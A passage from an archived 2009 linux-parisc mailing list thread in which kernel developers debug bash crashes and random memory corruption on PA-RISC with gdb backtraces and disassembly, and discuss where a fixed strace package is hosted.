#10 0x00037a60 in execute_command_internal ()
#11 0x00037a60 in execute_command_internal ()
#12 0x000395f8 in ?? ()
#13 0x0003a85c in ?? ()
#14 0x000373b8 in execute_command_internal ()
#15 0x00038638 in execute_command ()
#16 0x00038310 in execute_command_internal ()
#17 0x00037a60 in execute_command_internal ()
#18 0x00038638 in execute_command ()
#19 0x000374c4 in execute_command_internal ()
#20 0x00037a60 in execute_command_internal ()
#21 0x00038638 in execute_command ()
#22 0x00038310 in execute_command_internal ()
---Type <return> to continue, or q <return> to quit---
#23 0x00037a60 in execute_command_internal ()
#24 0x000395f8 in ?? ()
#25 0x0003a85c in ?? ()
#26 0x000373b8 in execute_command_internal ()
#27 0x00038638 in execute_command ()
#28 0x000374c4 in execute_command_internal ()
#29 0x00037a60 in execute_command_internal ()
#30 0x00038638 in execute_command ()
#31 0x000374c4 in execute_command_internal ()
#32 0x00038638 in execute_command ()
#33 0x000279c8 in reader_loop ()
#34 0x0002751c in main For this(gdb) frame 1
#1  0x000ab3dc in ()
(gdb) disass 0x000ab3cc 0x000ab3ec
Dump of assembler code from 0xab3cc to 0xab3ec:
0x000ab3cc:	stw ret0,1c8(r8)
0x000ab3d0:	copy r5,r26
0x000ab3d4:	b,l 0x798d0,rp
0x000ab3d8:	ldi df,r25
0x000ab3dc:	b,l 0xab188,r0
0x000ab3e0:	copy r3,ret0
0x000ab3e4:	ldi -21,ret0
0x000ab3e8:	stb ret0,0(r22)
End of assembler dump
(gdb) p/x $rp
$1 = 0xab3df
(gdb) disass 0x798d0 0x798e0
Dump of assembler code from 0x798d0 to 0x798e0:
0x000798d0:	addil L%5000,dp,r1
0x000798d4:	ldw 524(r1),r21
0x000798d8:	bv r0(r21)
0x000798dc:	ldw 528(r1),r19
End of assembler dump.
(gdb) p/x $dp
$2 = 0xca1c8
(gdb) p/x $r1
$3 = 0xcf1c8
(gdb) p/x $r21
$4 = 0x0
(gdb) p/x $r1+0x524
$5 = 0xcf6ec
(gdb) x/x 0xcf6ec
0xcf6ec:	0x40488250
(gdb) disass 0x40488250
Dump of assembler code for function *__GI_memset:
0x40488250 <*__GI_memset+0>:	cmpib,>>= 7,r24,0x404882f8 <*__GI_memset+168>
0x40488254 <*__GI_memset+4>:	copy r26,r22
0x40488258 <*__GI_memset+8>:	extrw,u r25,31,8,r31
...
(gdb) x/x 0xcf6f0
0xcf6f0:	0x40553f54
(gdb) p/x $r19
$6 = 0x0

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Mon, 4 May 2009 23:46:09 -0400
Organization: wh0rd.org
Lines: 77
Approved: news@gmane.org
Message-ID: <200905042346.11132.vapier@gentoo.org>
References: <20080417075357.GB23641@phobos.i.cabal.ca> <20090502223459.BC8924EE8@hiauly1.hia.nrc.ca> <20090502234348.GE28342@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2571686.txqGUoi7D9";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241495196 27036 80.91.229.12 (5 May 2009 03:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 03:46:36 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 05:46:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1Bbt-0007mQ-NE
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 05:46:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932246AbZEEDqM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 May 2009 23:46:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758442AbZEEDqM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 4 May 2009 23:46:12 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:39801 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932147AbZEEDqL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 May 2009 23:46:11 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 97576655D5;
	Tue,  5 May 2009 03:46:11 +0000 (UTC)
User-Agent: KMail/1.11.2 (Linux/2.6.29.2; KDE/4.2.2; x86_64; ; )
In-Reply-To: <20090502234348.GE28342@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1656 gmane.linux.debian.ports.hppa:5682
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1656>

--nextPart2571686.txqGUoi7D9
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 02 May 2009 19:43:48 Kyle McMartin wrote:
> On Sat, May 02, 2009 at 06:34:59PM -0400, John David Anglin wrote:
> > Hi Kyle,
> >
> > > On Sun, Apr 06, 2008 at 07:09:59PM -0400, John David Anglin wrote:
> > > > > If you strace it, what syscall returns -EOPNOTSUPP?
> > > >
> > > > strace is broken and quits before the relevant syscall.  Think I
> > > > mentioned this before is a different context.
> > >
> > > Fixed & updated strace available at
> > > http://people.debian.org/~kyle/strace/
> >
> > strace is either broken again or debian didn't pick up your fix.  The
> > link to your updated version is broken.
> >
> > This happens when tracing sshd during a connection attempt with -f
> > option:
> >
> > strace -f -p 2390
> > Process 2390 attached - interrupt to quit
> > _newselect(7, [3 4], NULL, NULL, NULL
> > ...
> > [pid  5627] open("/etc/selinux/config", O_RDONLY|O_LARGEFILE) =3D -1 EN=
OENT
> > (No such file or directory) upeek:
> > ptrace(PTRACE_PEEKUSER,5627,4294967292,0): Input/output error Process
> > 5627 detached
> > <... _newselect resumed> )              =3D 1 (in [6])
> >
> > Trying to figure out why sshd sometimes does wierd stuff.
>
> I'll take a look, the strace link is broken because sadly the debian
> people didn't migrate the entirety of the people machine when they
> brought in a new one.

if said fix could actually get posted to the strace devel list at sf.net,=20
that'd be even better ...

probably related:
http://bugs.gentoo.org/250631
=2Dmike

--nextPart2571686.txqGUoi7D9
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.11 (GNU/Linux)

iQIcBAABAgAGBQJJ/7aDAAoJEEFjO5/oN/WBeqYP/AsPH8qMOrXJtBe9OgIzXL6d
0ZyrTdTjuSn+dJB2rJDpPQMcrousqDENuyv30xrD8OvK9cvEu3qUwD4pXSdRPMQm
V5I48yyM+osnW5puW4auMq+0VEmMxIjn6oeqSqBhBw+E7P9eraj9S9rViRxH8tDQ
tURWLLv9ETB2vda+t4PlDsNKMkMTSKR8oQHGU7Re54VEFgyv6YITZd/zFhrogec2
JqlXYhDrlcqHdP0NyWd9TZavsYusQP1AypPdenUe/t1AA4kTT97H0sRb5bgM/ZH+
udBbjoRejnMH4F6+zQ7fjXn811zAqzTNG78MtyVp43lB/pUF0TH4fKuKysJUI/SV
KHsGrHt7C4yJ7jPzQ+LupndpkgCHyu1oyOBAL+pf8V5mB5Gjqih4QOazm8Ey29/c
Jr12sInb2x9KTkq95Ay9vFsidYn+3F89feVVKKEEylMzRCRXEjOUhV2JXMG1yyc7
xoyaulXhjPtHOxJSjJYrUmUOf0AeOR+3xjo0VCexb9sKtLwdJSt9XP3IcRy0C/Fz
m6hVu7a5JJohmEJOuKLAdr3OYdQSMjsPfX8jAmeF/ZyPmMSnB+rsbgwo/j7TfwLe
XQSxpdryEJJL5TA80RiAggeMBtQ/5xNNh2qoQyFUYKIpFEMHcBJJZtCAJ0cNZaMS
AFSuwECrXqOoWt4LkK9n
=b89y
-----END PGP SIGNATURE-----

--nextPart2571686.txqGUoi7D9--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random memory corruption with 64-bit SMP 2.6.30-rc4
Date: Tue, 05 May 2009 09:26:50 +0200
Lines: 135
Approved: news@gmane.org
Message-ID: <49FFEA3A.4080902@gmx.de>
References: <20090505021307.181C64EE8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241508429 22169 80.91.229.12 (5 May 2009 07:27:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 07:27:09 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 09:26:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1F3K-0003u7-Ct
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 09:26:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752159AbZEEH04 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 03:26:56 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752572AbZEEH04
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 03:26:56 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:39037 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752159AbZEEH0z (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 03:26:55 -0400
Original-Received: (qmail invoked by alias); 05 May 2009 07:26:54 -0000
Original-Received: from mnhm-590e0458.pool.einsundeins.de (EHLO [192.168.178.60]) [89.14.4.88]
  by mail.gmx.net (mp002) with SMTP; 05 May 2009 09:26:54 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19A4Z9UtU1ASbKntQFAsv6BQLu9/Q8i6ZaadEwbNK
	V58F7MyP54lnaz
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
In-Reply-To: <20090505021307.181C64EE8@hiauly1.hia.nrc.ca>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.47
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1657
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1657>

John David Anglin wrote:
>> Could you run the entire build with LD_BIND_NOW=3D1 set? Does it crash
>> anywhere else?
> 
> Got a lot further but bash SEGV'd again:
> 
> Program terminated with signal 11, Segmentation fault.
> [New process 14746]
> #0  0x00035ba4 in close_fd_bitmap ()
> (gdb) bt
> #0  0x00035ba4 in close_fd_bitmap ()
> #1  0x00039d08 in ?? ()
> #2  0x000373b8 in execute_command_internal ()
> #3  0x00036d3c in ?? ()
> #4  0x000382a4 in execute_command_internal ()
> #5  0x00073a68 in parse_and_execute ()
> #6  0x0004d840 in command_substitute ()
> #7  0x00051e14 in ?? ()
> #8  0x00053320 in ?? ()
> #9  0x00056fa8 in expand_string_assignment ()
> #10 0x00050f44 in ?? ()
> #11 0x000512fc in ?? ()
> #12 0x00053278 in ?? ()
> #13 0x0003a0a4 in ?? ()
> #14 0x000373b8 in execute_command_internal ()
> #15 0x00038638 in execute_command ()
> #16 0x00038310 in execute_command_internal ()
> #17 0x00073a68 in parse_and_execute ()
> #18 0x00025a1c in ?? ()
> #19 0x000269a8 in main ()
> 
> Restarting, and it crashed again:
> 
> Core was generated by `/bin/sh ./libtool --tag=CXX --mode=compile /home/dave/gnu/gcc/objdir/./gcc/xgcc'.
> Program terminated with signal 11, Segmentation fault.
> [New process 32486]
> #0  0x00000000 in ?? ()
> (gdb) bt
> #0  0x00000000 in ?? ()
> #1  0x000ab3dc in ?? ()
> #2  0x0006e930 in sh_xmalloc ()
> #3  0x0004995c in stop_pipeline ()
> #4  0x00037cec in execute_command_internal ()
> #5  0x00038638 in execute_command ()
> #6  0x00038310 in execute_command_internal ()
> #7  0x00037a60 in execute_command_internal ()
> #8  0x00038638 in execute_command ()
> #9  0x000374c4 in execute_command_internal ()
> #10 0x00037a60 in execute_command_internal ()
> #11 0x00037a60 in execute_command_internal ()
> #12 0x000395f8 in ?? ()
> #13 0x0003a85c in ?? ()
> #14 0x000373b8 in execute_command_internal ()
> #15 0x00038638 in execute_command ()
> #16 0x00038310 in execute_command_internal ()
> #17 0x00037a60 in execute_command_internal ()
> #18 0x00038638 in execute_command ()
> #19 0x000374c4 in execute_command_internal ()
> #20 0x00037a60 in execute_command_internal ()
> #21 0x00038638 in execute_command ()
> #22 0x00038310 in execute_command_internal ()
> ---Type <return> to continue, or q <return> to quit---
> #23 0x00037a60 in execute_command_internal ()
> #24 0x000395f8 in ?? ()
> #25 0x0003a85c in ?? ()
> #26 0x000373b8 in execute_command_internal ()
> #27 0x00038638 in execute_command ()
> #28 0x000374c4 in execute_command_internal ()
> #29 0x00037a60 in execute_command_internal ()
> #30 0x00038638 in execute_command ()
> #31 0x000374c4 in execute_command_internal ()
> #32 0x00038638 in execute_command ()
> #33 0x000279c8 in reader_loop ()
> #34 0x0002751c in main For this(gdb) frame 1
> #1  0x000ab3dc in ()
> (gdb) disass 0x000ab3cc 0x000ab3ec
> Dump of assembler code from 0xab3cc to 0xab3ec:
> 0x000ab3cc:	stw ret0,1c8(r8)
> 0x000ab3d0:	copy r5,r26
> 0x000ab3d4:	b,l 0x798d0,rp
> 0x000ab3d8:	ldi df,r25
> 0x000ab3dc:	b,l 0xab188,r0
> 0x000ab3e0:	copy r3,ret0
> 0x000ab3e4:	ldi -21,ret0
> 0x000ab3e8:	stb ret0,0(r22)
> End of assembler dump
> (gdb) p/x $rp
> $1 = 0xab3df
> (gdb) disass 0x798d0 0x798e0
> Dump of assembler code from 0x798d0 to 0x798e0:
> 0x000798d0:	addil L%5000,dp,r1
> 0x000798d4:	ldw 524(r1),r21
> 0x000798d8:	bv r0(r21)
> 0x000798dc:	ldw 528(r1),r19
> End of assembler dump.
> (gdb) p/x $dp
> $2 = 0xca1c8
> (gdb) p/x $r1
> $3 = 0xcf1c8
> (gdb) p/x $r21
> $4 = 0x0
> (gdb) p/x $r1+0x524
> $5 = 0xcf6ec
> (gdb) x/x 0xcf6ec
> 0xcf6ec:	0x40488250
> (gdb) disass 0x40488250
> Dump of assembler code for function *__GI_memset:
> 0x40488250 <*__GI_memset+0>:	cmpib,>>= 7,r24,0x404882f8 <*__GI_memset+168>
> 0x40488254 <*__GI_memset+4>:	copy r26,r22
> 0x40488258 <*__GI_memset+8>:	extrw,u r25,31,8,r31
> ...

Could it be, that always r21 and r22 are involved?
Maybe we don't restore them correctly after some syscalls like fork / getpwnam...?
Esp. the comment for r21-r22 in arch/parisc/kernel/entry.S:1708 seems interesting:

        /* Register saving semantics for system calls:

           %r1             clobbered by system call macro in userspace
           %r2             saved in PT_REGS by gateway page
           %r3  - %r18     preserved by C code (saved by signal code)
           %r19 - %r20     saved in PT_REGS by gateway page
           %r21 - %r22     non-standard syscall args
                           stored in kernel stack by gateway page
           %r23 - %r26     arg3-arg0, saved in PT_REGS by gateway page
           %r27 - %r30     saved in PT_REGS by gateway page
           %r31            syscall return pointer
         */

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random memory corruption with 64-bit SMP 2.6.30-rc4
Date: Tue, 5 May 2009 09:50:32 -0400 (EDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <20090505135033.8F98A4EDA@hiauly1.hia.nrc.ca>
References: <49FFEA3A.4080902@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1241531478 31823 80.91.229.12 (5 May 2009 13:51:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 13:51:18 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 15:51:09 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1L36-0005qp-6f
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 15:51:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751509AbZEENuf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 09:50:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753241AbZEENuf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 09:50:35 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4724 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751509AbZEENue (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 09:50:34 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8F98A4EDA; Tue,  5 May 2009 09:50:33 -0400 (EDT)
In-Reply-To: <49FFEA3A.4080902@gmx.de> from "Helge Deller" at May 5, 2009 09:26:50 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1658
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1658>

> Could it be, that always r21 and r22 are involved?

I'll examine some more cases.  This is the best theory yet.

> Maybe we don't restore them correctly after some syscalls like fork / getpwnam...?

This morning, I had an authentication failure in this code:

May  5 09:30:32 hiauly6 sshd[18028]: fatal: Privilege separation user sshd does not exist

        /* Store privilege separation user for later use if required. */
	if ((privsep_pw = getpwnam(SSH_PRIVSEP_USER)) == NULL) {
		if (use_privsep || options.kerberos_authentication)
			fatal("Privilege separation user %s does not exist",
			    SSH_PRIVSEP_USER);
	} else {

So, getpwent and getpwnam fail somewhat randomly following a fork.  The
corresponding group calls also fail.  The errno for the getpwent failure
is 0 (hacked sshd).  There is definitely a timing or random aspect to
the failure of these calls.

I'm just using pam_unix (compat mode for passwd, group ansd shadow).  

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Tue, 5 May 2009 11:37:23 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20090505153723.GA16808@bombadil.infradead.org>
References: <20080417075357.GB23641@phobos.i.cabal.ca> <20090502223459.BC8924EE8@hiauly1.hia.nrc.ca> <20090502234348.GE28342@bombadil.infradead.org> <200905042346.11132.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241537862 23863 80.91.229.12 (5 May 2009 15:37:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 15:37:42 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 17:37:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1Mi4-0000cM-4c
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 17:37:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752123AbZEEPha (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 11:37:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752187AbZEEPha
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 11:37:30 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36588 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752123AbZEEPh3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 11:37:29 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M1Mhv-00070z-B7; Tue, 05 May 2009 15:37:23 +0000
Content-Disposition: inline
In-Reply-To: <200905042346.11132.vapier@gentoo.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1659 gmane.linux.debian.ports.hppa:5683
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1659>

On Mon, May 04, 2009 at 11:46:09PM -0400, Mike Frysinger wrote:
> 
> if said fix could actually get posted to the strace devel list at sf.net, 
> that'd be even better ...
> 

It was, when I fixed it, several years ago...

> probably related:
> http://bugs.gentoo.org/250631
> -mike


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Tue, 5 May 2009 12:14:03 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20090505161403.GB16808@bombadil.infradead.org>
References: <20080417075357.GB23641@phobos.i.cabal.ca> <20090502223459.BC8924EE8@hiauly1.hia.nrc.ca> <20090502234348.GE28342@bombadil.infradead.org> <200905042346.11132.vapier@gentoo.org> <20090505153723.GA16808@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241540091 32377 80.91.229.12 (5 May 2009 16:14:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 16:14:51 +0000 (UTC)
Cc: Mike Frysinger <vapier@gentoo.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 18:14:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1M1NHX-00039o-4o
	for glpp-linux-parisc@gmane.org; Tue, 05 May 2009 18:14:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751306AbZEEQOJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 May 2009 12:14:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752600AbZEEQOJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 5 May 2009 12:14:09 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34244 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751306AbZEEQOI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 May 2009 12:14:08 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1M1NHP-0000mp-I0; Tue, 05 May 2009 16:14:03 +0000
Content-Disposition: inline
In-Reply-To: <20090505153723.GA16808@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1660 gmane.linux.debian.ports.hppa:5684
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1660>

On Tue, May 05, 2009 at 11:37:23AM -0400, Kyle McMartin wrote:
> On Mon, May 04, 2009 at 11:46:09PM -0400, Mike Frysinger wrote:
> > 
> > if said fix could actually get posted to the strace devel list at sf.net, 
> > that'd be even better ...
> > 
> 
> It was, when I fixed it, several years ago...
> 
> > probably related:
> > http://bugs.gentoo.org/250631
> > -mike
> 

Huh, maybe it bounced. In any event, the old people.debian.org is still
accessible, so I've copied the fixed 4.5.16-1 to the new people, so it
should be accessible again.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Fixed strace [ was Re: ls -l is broken ]
Date: Tue, 5 May 2009 13:05:16 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20090505170516.GA3094@bombadil.infradead.org>
References: <20080417075357.GB23641@phobos.i.cabal.ca> <20090502223459.BC8924EE8@hiauly1.hia.nrc.ca> <20090502234348.GE28342@bombadil.infradead.org> <200905042346.11132.vapier@gentoo.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1241543141 11710 80.91.229.12 (5 May 2009 17:05:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 May 2009 17:05:41 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, matthew@wil.cx,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 05 19:05:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
